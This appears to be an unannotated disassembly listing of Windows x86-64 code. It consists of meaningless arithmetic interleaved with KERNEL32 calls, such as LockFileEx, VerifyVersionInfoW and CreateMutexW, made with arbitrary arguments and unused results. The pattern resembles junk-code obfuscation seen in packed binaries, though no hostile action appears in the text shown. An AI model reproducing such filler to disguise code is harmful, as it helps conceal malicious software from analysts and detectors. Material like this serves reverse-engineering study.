movzx eax, byte [rax]
mov byte [0x140363fa4], al
mov rax, qword [rsp + 0x147e0]
mov rcx, qword [rsp + 0x13af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a34], eax
mov eax, dword [0x140362514]
mov ecx, dword [rsp + 0x8754]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14fe0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b2c]
mov qword [rsp + 0x15988], rax
mov rax, qword [rsp + 0x15200]
mov ecx, dword [rsp + 0xa05c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b30], eax
mov rax, qword [rsp + 0x15970]
mov eax, dword [rax]
mov dword [rsp + 0xa2a0], eax
movsx eax, byte [0x14035259e]
mov rcx, qword [rsp + 0x13bf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x75c], al
lea rax, [rsp + 0x2c64]
mov qword [rsp + 0x15990], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9fa0], eax
mov rax, qword [rsp + 0x150f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x266]
imul eax, ecx
mov rcx, qword [rsp + 0x154e8]
mov byte [rcx], al
lea rdx, [rsp + 0x42e60]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2a4], eax
movzx eax, word [0x1403624cc]
movzx ecx, word [rsp + 0x1bfc]
sub eax, ecx
mov word [0x1403624a0], ax
mov rax, qword [rsp + 0x14058]
mov ecx, dword [rsp + 0xa090]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14198]
mov dword [rcx], eax
lea rax, [rsp + 0xa18c]
mov qword [rsp + 0x15998], rax
mov rcx, qword [rsp + 0x12eb0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2d70]
movzx ecx, word [rsp + 0x2d34]
sub eax, ecx
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x778]
add eax, ecx
mov byte [rsp + 0x453], al
mov eax, dword [rsp + 0x755c]
mov ecx, dword [rsp + 0x9ef4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fc4], eax
lea rax, [rsp + 0xa0c8]
mov qword [rsp + 0x159a0], rax
mov rax, qword [rsp + 0x14ed0]
mov rcx, qword [rsp + 0x14b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a84], eax
movzx eax, byte [rsp + 0x74d]
movzx ecx, byte [rsp + 0x792]
add eax, ecx
mov rcx, qword [0x140369f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
mov word [rsp + 0x2dc0], ax
mov eax, dword [rsp + 0x9fa8]
mov rcx, qword [0x14036a260]
mov qword [rsp + 0x159a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x159a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5dd8], eax
mov rax, qword [rsp + 0x13cf8]
mov ecx, dword [rsp + 0xa0c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9cfc], eax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x159b0], rax
movsx eax, byte [rsp + 0x757]
mov rcx, qword [rsp + 0x144b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15020]
movzx eax, byte [rax]
mov byte [rsp + 0x7ae], al
movzx eax, word [rsp + 0x2bf4]
mov rcx, qword [0x14036a0c0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2d58], ax
mov rax, qword [rsp + 0x15948]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9aec], eax
mov rax, qword [rsp + 0x131f0]
mov ecx, dword [rsp + 0x9e88]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140362530], eax
mov rax, qword [rsp + 0x15580]
mov ecx, dword [rsp + 0x6218]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x82e4], eax
mov rax, qword [rsp + 0x142f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0fc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4a
mov r9d, 0x3cd7
mov r8d, 0xbeb06990
mov edx, 1
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9fc8], eax
lea rax, [rsp + 0xa27c]
mov qword [rsp + 0x159b8], rax
movzx eax, byte [0x1403525ca]
movzx ecx, byte [rsp + 0x735]
or eax, ecx
mov rcx, qword [rsp + 0x14768]
mov byte [rcx], al
lea rax, [rsp + 0x2cc4]
mov qword [rsp + 0x159c0], rax
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7438]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
mov rax, qword [rsp + 0x13368]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa04c], eax
mov eax, dword [rsp + 0x9ec0]
mov dword [rsp + 0xa2a8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2ac], eax
lea rax, [rsp + 0xa1a8]
mov qword [0x14036a280], rax
movzx eax, byte [0x14035259f]
movzx ecx, byte [rsp + 0x73f]
sub eax, ecx
mov byte [rsp + 0x3da], al
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x24a4], ax
movsx eax, byte [rsp + 0x512]
mov rcx, qword [0x14036a010]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14868]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c54]
mov rcx, qword [rsp + 0x14bc8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bc8], ax
lea rax, [rsp + 0x9e20]
mov qword [rsp + 0x159c8], rax
mov rax, qword [0x14036a0c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x77cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9acc], eax
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x7af], al
movzx eax, word [rsp + 0x2700]
movzx ecx, word [rsp + 0x2d30]
shl eax, cl
mov word [rsp + 0x1384], ax
mov eax, dword [rsp + 0x9df0]
mov ecx, dword [0x140369ce0]
or ecx, eax
mov eax, ecx
mov dword [0x140362528], eax
mov rax, qword [rsp + 0x134e8]
mov ecx, dword [rsp + 0x9b00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bd0]
mov rcx, qword [rsp + 0x15528]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c10], eax
mov eax, dword [rsp + 0x6588]
mov ecx, dword [rsp + 0x9db4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13af0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b78]
movzx eax, byte [rax]
mov byte [rsp + 0x7b0], al
mov rax, qword [rsp + 0x143a0]
movzx eax, word [rax]
movzx ecx, word [0x14036a058]
and eax, ecx
mov word [rsp + 0x2bfc], ax
mov eax, dword [rsp + 0x7ca4]
mov dword [rsp + 0xa2b0], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa210], eax
mov rax, qword [rsp + 0x13688]
mov ecx, dword [rsp + 0x8754]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9124], eax
mov rax, qword [rsp + 0x13438]
mov ecx, dword [rsp + 0x9cd8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9b28]
mov qword [0x14036a288], rax
lea rax, [rsp + 0xa09c]
mov qword [rsp + 0x159d0], rax
movsx eax, word [rsp + 0x2ce8]
mov rcx, qword [rsp + 0x13770]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0x13a40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15530]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd7], al
movzx eax, word [rsp + 0x2090]
movzx ecx, word [rsp + 0x2c50]
and eax, ecx
mov rcx, qword [rsp + 0x14b88]
mov word [rcx], ax
mov rax, qword [0x140369ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14b20]
mov byte [rcx], al
lea rax, [rsp + 0xa084]
mov qword [rsp + 0x159d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cec], eax
mov rax, qword [rsp + 0x13440]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b08]
shl eax, cl
mov rcx, qword [rsp + 0x13b08]
mov dword [rcx], eax
lea rax, [rsp + 0x2d38]
mov qword [rsp + 0x159e0], rax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f0]
sar eax, cl
mov byte [0x140363f5e], al
mov rax, qword [rsp + 0x15638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d78], eax
mov rax, qword [0x140369eb0]
mov rcx, qword [rsp + 0x14b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c30], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x159e8], rax
lea rax, [rsp + 0xa214]
mov qword [rsp + 0x159f0], rax
mov rax, qword [rsp + 0x14890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6234]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9eb8], eax
movzx eax, byte [rsp + 0x1f1]
mov byte [rsp + 0x7b1], al
mov rax, qword [rsp + 0x145d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14560]
mov word [rcx], ax
mov rax, qword [rsp + 0x158d0]
mov ecx, dword [rsp + 0x5c14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9dd4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x15100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9644], eax
lea rax, [rsp + 0x77b]
mov qword [0x14036a290], rax
mov rax, qword [rsp + 0x13a80]
movsx eax, word [rax]
movsx ecx, word [0x1403624e8]
and eax, ecx
mov word [rsp + 0x12ac], ax
lea rax, [rsp + 0x2d24]
mov qword [rsp + 0x159f8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa068], eax
movzx eax, byte [rsp + 0x394]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146c0]
mov byte [rcx], al
lea rax, [rsp + 0x8180]
mov qword [rsp + 0x15a00], rax
mov rax, qword [rsp + 0x15818]
mov eax, dword [rax]
mov ecx, dword [0x140369fa8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13838]
mov dword [rcx], eax
lea rax, [rsp + 0x8f50]
mov qword [rsp + 0x15a08], rax
mov eax, dword [rsp + 0x7534]
mov ecx, dword [0x140369b9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14530]
mov dword [rcx], eax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x15a10], rax
movzx eax, word [rsp + 0x2d58]
movzx ecx, word [0x14036a1a8]
sub eax, ecx
mov rcx, qword [0x140369cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d38], eax
mov eax, dword [rsp + 0x9c38]
movzx ecx, al
mov eax, dword [rsp + 0x86e8]
sar eax, cl
mov dword [rsp + 0xa1dc], eax
lea rax, [rsp + 0x9c08]
mov qword [rsp + 0x15a18], rax
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6438]
shl eax, cl
mov rcx, qword [rsp + 0x141b8]
mov dword [rcx], eax
lea rax, [rsp + 0x2cd8]
mov qword [rsp + 0x15a20], rax
movzx eax, byte [rsp + 0x792]
imul eax, eax, 0x4d
mov rcx, qword [rsp + 0x15518]
mov byte [rcx], al
mov rax, qword [rsp + 0x14938]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14cc8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x14fd0]
movzx eax, word [rax]
mov word [rsp + 0x2dc4], ax
mov rax, qword [rsp + 0x131f8]
mov rcx, qword [rsp + 0x13d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x157a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13808]
mov dword [rcx], eax
lea rax, [rsp + 0x78b]
mov qword [rsp + 0x15a28], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15a30], rax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x13270]
mov rcx, qword [rsp + 0x14790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9eb8], eax
mov dword [rsp + 0x20], 0x75
mov r9d, 0x31e7
mov r8d, 0xbed
mov edx, 0x316d
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a7c], eax
mov rax, qword [0x140369d70]
mov rcx, qword [rsp + 0x13ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x85d0], eax
lea rax, [rsp + 0x9e10]
mov qword [rsp + 0x15a38], rax
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0x13cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14930]
mov word [rcx], ax
mov rax, qword [0x140369fb0]
movzx eax, byte [rax]
mov byte [0x140363fa5], al
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9efc]
mov qword [rsp + 0x15a40], rax
mov rax, qword [rsp + 0x13d18]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15730]
mov dword [rcx], eax
mov rax, qword [0x14036a088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8870]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
lea rax, [rsp + 0xa258]
mov qword [rsp + 0x15a48], rax
mov rax, qword [rsp + 0x14910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x83e4], eax
mov rax, qword [0x14036a290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x611], al
movsx eax, word [rsp + 0x1e24]
movsx ecx, word [rsp + 0x2cac]
shl eax, cl
mov word [rsp + 0x2ca8], ax
movzx eax, word [rsp + 0x2bb0]
movzx ecx, word [rsp + 0x2d24]
sar eax, cl
mov rcx, qword [rsp + 0x15848]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70d]
mov byte [0x140363fa6], al
lea rax, [rsp + 0xa128]
mov qword [rsp + 0x15a50], rax
mov rax, qword [rsp + 0x134a0]
mov ecx, dword [rsp + 0x70e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa218], eax
movzx eax, word [0x140362520]
mov word [rsp + 0x2dc8], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa2b8], eax
movzx eax, byte [rsp + 0x3d4]
movzx ecx, byte [rsp + 0x73d]
add eax, ecx
mov rcx, qword [rsp + 0x13420]
mov byte [rcx], al
mov rax, qword [rsp + 0x145f0]
mov rcx, qword [rsp + 0x14078]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9acc], eax
mov eax, dword [rsp + 0x9e54]
mov ecx, dword [0x140362510]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0x14980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c00], eax
mov dword [rsp + 0x20], 0x78c
mov r9d, 0x3f8d
mov r8d, 0x3441
mov edx, 0x1b41
mov rcx, qword [rsp + 0x13348]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a38], eax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369dc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x37b]
movzx ecx, byte [rsp + 0x73a]
sub eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
lea rax, [rsp + 0xa254]
mov qword [rsp + 0x15a58], rax
mov eax, dword [rsp + 0x9b98]
mov ecx, dword [rsp + 0x66ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
movsx eax, byte [rsp + 0x731]
mov rcx, qword [rsp + 0x15310]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13098]
movzx eax, word [rax]
mov word [rsp + 0x2dcc], ax
movzx eax, word [rsp + 0x2cf4]
mov rcx, qword [rsp + 0x14d80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d60], ax
movzx eax, byte [rsp + 0x37f]
movzx ecx, byte [rsp + 0x745]
or eax, ecx
mov byte [rsp + 0x615], al
mov eax, dword [rsp + 0x9ac4]
mov rcx, qword [0x140369c30]
mov qword [rsp + 0x15a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a60]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15280]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a40]
mov ecx, dword [rsp + 0xa110]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a1d8]
mov dword [rcx], eax
mov rax, qword [0x140369d18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ef0]
mov qword [rsp + 0x15a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14670]
mov dword [rcx], eax
lea rax, [rsp + 0x9688]
mov qword [rsp + 0x15a70], rax
mov rax, qword [rsp + 0x14718]
mov ecx, dword [rsp + 0x5c50]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x142c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c50]
mov word [rsp + 0x2dd0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x13f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
and eax, ecx
mov rcx, qword [rsp + 0x13930]
mov byte [rcx], al
mov rax, qword [rsp + 0x15450]
mov rcx, qword [rsp + 0x13768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8860], eax
lea rax, [0x140362484]
mov qword [rsp + 0x15a78], rax
mov rax, qword [rsp + 0x139d8]
mov ecx, dword [rsp + 0x9fb8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14458]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ff4], eax
mov eax, dword [rsp + 0x6a40]
mov ecx, dword [rsp + 0xa1dc]
add ecx, eax
mov eax, ecx
mov dword [0x140362534], eax
movzx eax, word [0x140369c90]
movzx ecx, word [rsp + 0x225c]
and eax, ecx
mov word [rsp + 0x1b6c], ax
movzx eax, byte [rsp + 0x229]
movzx ecx, byte [rsp + 0x56f]
add eax, ecx
mov rcx, qword [rsp + 0x15228]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x79d]
movsx ecx, byte [rsp + 0x757]
sub eax, ecx
mov byte [rsp + 0x738], al
lea rax, [rsp + 0x2d84]
mov qword [rsp + 0x15a80], rax
mov rax, qword [rsp + 0x147c0]
mov rcx, qword [rsp + 0x14d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8f34], eax
lea rax, [rsp + 0x873c]
mov qword [rsp + 0x15a88], rax
mov edx, 0xd97
mov rcx, qword [rsp + 0x15a30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9f9c], eax
movzx eax, word [rsp + 0x2dbc]
movzx ecx, word [rsp + 0x2c24]
sub eax, ecx
mov rcx, qword [rsp + 0x14f70]
mov word [rcx], ax
mov rax, qword [rsp + 0x155c0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b2], al
mov rax, qword [rsp + 0x14d38]
mov ecx, dword [rsp + 0x6588]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140362510], eax
mov rax, qword [rsp + 0x13260]
mov rcx, qword [rsp + 0x13ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ca4], eax
mov rax, qword [rsp + 0x139d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15450]
mov qword [rsp + 0x15a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b2c], eax
lea rax, [0x140369f88]
mov qword [rsp + 0x15a98], rax
mov rax, qword [rsp + 0x14410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a10]
xor eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
lea rax, [rsp + 0x774]
mov qword [rsp + 0x15aa0], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b0c], eax
mov eax, dword [0x140362514]
movzx ecx, al
mov eax, dword [rsp + 0x9b78]
sar eax, cl
mov dword [rsp + 0xa01c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2c0], eax
mov eax, dword [rsp + 0x979c]
mov ecx, dword [rsp + 0xa27c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fd8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3637
mov r9d, 0x1af3
mov r8d, 0x1b876f7f
mov edx, 1
mov rcx, qword [rsp + 0x13348]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9980], eax
mov eax, dword [0x140369f68]
mov ecx, dword [rsp + 0x8c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x975c], eax
lea rax, [rsp + 0x9a88]
mov qword [0x14036a298], rax
mov rax, qword [rsp + 0x12ef0]
mov rcx, qword [rsp + 0x152f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92e8], eax
movzx eax, word [rsp + 0x28b4]
mov word [rsp + 0x2dd4], ax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4c690]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa2c4], eax
movsx eax, byte [rsp + 0x319]
mov rcx, qword [rsp + 0x144b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ee8], eax
movzx eax, byte [rsp + 0x4a8]
movzx ecx, byte [rsp + 0x266]
or eax, ecx
mov rcx, qword [rsp + 0x136a8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x15068]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa180], eax
mov rax, qword [rsp + 0x15050]
movzx eax, word [rax]
mov word [rsp + 0x2dd8], ax
mov rax, qword [rsp + 0x15158]
mov eax, dword [rax]
mov ecx, dword [0x14036a1d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
lea rax, [rsp + 0xa0e0]
mov qword [rsp + 0x15aa8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f14], eax
movzx eax, word [rsp + 0x2d0c]
mov rcx, qword [rsp + 0x15368]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0x15680]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363f6d], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15ab0], rax
mov eax, dword [rsp + 0x99d8]
mov ecx, dword [rsp + 0x5480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bdc], eax
mov rax, qword [0x140369ca0]
mov rcx, qword [rsp + 0x14b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ca4], eax
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x37c
mov r9d, 0x8ac
mov r8d, 0x82fcfa02
mov edx, 1
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9c84], eax
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0xa2c8], eax
mov rax, qword [rsp + 0x12fc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78c]
shl eax, cl
mov byte [rsp + 0x74e], al
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13b8], ax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e74]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x154c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dd4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a84], eax
lea rdx, [rsp + 0x42a00]
mov rcx, qword [rsp + 0x154d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2cc], eax
lea rax, [rsp + 0x2194]
mov qword [0x14036a2a0], rax
movzx eax, byte [rsp + 0x6e0]
mov byte [rsp + 0x7b3], al
mov rax, qword [0x140369f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov word [rsp + 0x2cf0], ax
lea rax, [rsp + 0x773]
mov qword [rsp + 0x15ab8], rax
